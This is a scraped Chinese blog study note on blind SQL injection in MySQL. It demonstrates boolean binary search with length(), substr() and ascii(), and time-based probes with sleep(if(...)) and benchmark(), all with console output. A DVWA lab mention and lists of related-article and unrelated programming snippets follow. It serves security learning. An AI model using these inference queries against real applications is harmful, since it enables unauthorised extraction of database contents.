盲注是因为数据库查询的结果不会直接显示在页面。只能通过构造查询语句查看反馈的结果真&假状态来判断信息。
实际注入手法和回显注入区别不大
下面只记录相关思路
select length('test'); 查看字符串长度
二分法判断数据库名字的长度
mysql> select length(database())>10;
+-----------------------+
| length(database())>10 |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select length(database())>5;
+----------------------+
| length(database())>5 |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
mysql> select length(database())>3;
+----------------------+
| length(database())>3 |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select length(database())=4;
+----------------------+
| length(database())=4 |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| d |
+------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>64;
+----------------------------------+
| ascii(substr(database(),1,1))>64 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>100;
+-----------------------------------+
| ascii(substr(database(),1,1))>100 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>80;
+----------------------------------+
| ascii(substr(database(),1,1))>80 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>90;
+----------------------------------+
| ascii(substr(database(),1,1))>90 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>95;
+----------------------------------+
| ascii(substr(database(),1,1))>95 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>97;
+----------------------------------+
| ascii(substr(database(),1,1))>97 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>98;
+----------------------------------+
| ascii(substr(database(),1,1))>98 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>99;
+----------------------------------+
| ascii(substr(database(),1,1))>99 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))=100;
+-----------------------------------+
| ascii(substr(database(),1,1))=100 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
使用二分法判断出数据库第一个字母ascii码为100 对应的字母为小写d
另外盲注还可以通过延时来判断
mysql> select sleep(if(length(database())=4,3,0));
+-------------------------------------+
| sleep(if(length(database())=4,3,0)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (3.00 sec)
mysql> select sleep(if(length(database())=5,3,0));
+-------------------------------------+
| sleep(if(length(database())=5,3,0)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.00 sec)
mysql> select sleep(if(length(database())=5,3,0));
通过响应返回的延时来判断信息是否正确
也可以用 benchmark重复执行命令函数来进行延时
mysql> select benchmark(50000,md5('test'));
+------------------------------+
| benchmark(50000,md5('test')) |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (0.02 sec)
mysql> select benchmark(5000000,md5('test'));
+--------------------------------+
| benchmark(5000000,md5('test')) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (1.45 sec)
DVWA high难度
查询字段在cookie内 需要设置--level 2
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
- [转载]sql 盲注之正则表达式攻击
[转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
- SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入 真 and 假 = 假 (1)...where u ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
随机推荐
- JAVA笔记10-抽象类
(1)abstrac关键字类修饰的类是抽象类,用abstract修饰的方法是抽象方法: (2)含有抽象方法的类必须被定义为抽象类: (3)抽象类必须被继承,抽象方法必须被重写(或者将子类也声明为抽象类 ...
- RSA加密算法原理及RES签名算法简介(转载)
第一部分:RSA算法原理与加密解密 一.RSA加密过程简述 A和B进行加密通信时,B首先要生成一对密钥.一个是公钥,给A,B自己持有私钥.A使用B的公钥加密要加密发送的内容,然后B在通过自己的私钥解密 ...
- js 引号 转义字符 json字符串
element_obj.NewTitle.value = json_obj.NewTitle.replace(/\"/g, "\""); model.NewTi ...
- head first 设计模式笔记7-适配器模式与外观模式
适配器模式:将一个类的接口,转换成客户期望的另一个接口.适配器让原本接口不兼容的类可以合作无间. 这个模式可以通过创建适配器进行接口转换,让不兼容的接口变成兼容.这可以让客户从实现的接口解耦.如果在一 ...
- Linux Expect自动交互脚本
https://likegeeks.com/expect-command/ In the previous post, we talked about writing practical shell ...
- List集合的方法总结
1. 添加方法 boolean add(E e): 向集合的末尾添加指定的元素 boolean addAll(Collection<? extends E> c): 向集合的末尾添加一个指 ...
- Oracle用函数或PIVOT实现行转列
原数据: 目标数据: 实现代码: SELECT YEAR AS "年", SUM (DECODE (QUATER, 1, RATE, 0)) AS "季度一", ...
- scala实战学习-尾递归函数
求 $$ \Sigma\sideset{^b_a}f(x) $$ object sumfunc{ def sum(f: Int => Int)(a: Int)(b:Int): Int = { @ ...
- python学习之路(4)
使用list和tuple Python内置的一种数据类型是列表:list.list是一种有序的集合,可以随时添加和删除其中的元素. 比如,列出班里所有同学的名字,就可以用一个list表示: >& ...
- python学习之路(21)
偏函数 Python的functools模块提供了很多有用的功能,其中一个就是偏函数(Partial function).要注意,这里的偏函数和数学意义上的偏函数不一样. 在介绍函数参数的时候,我们讲 ...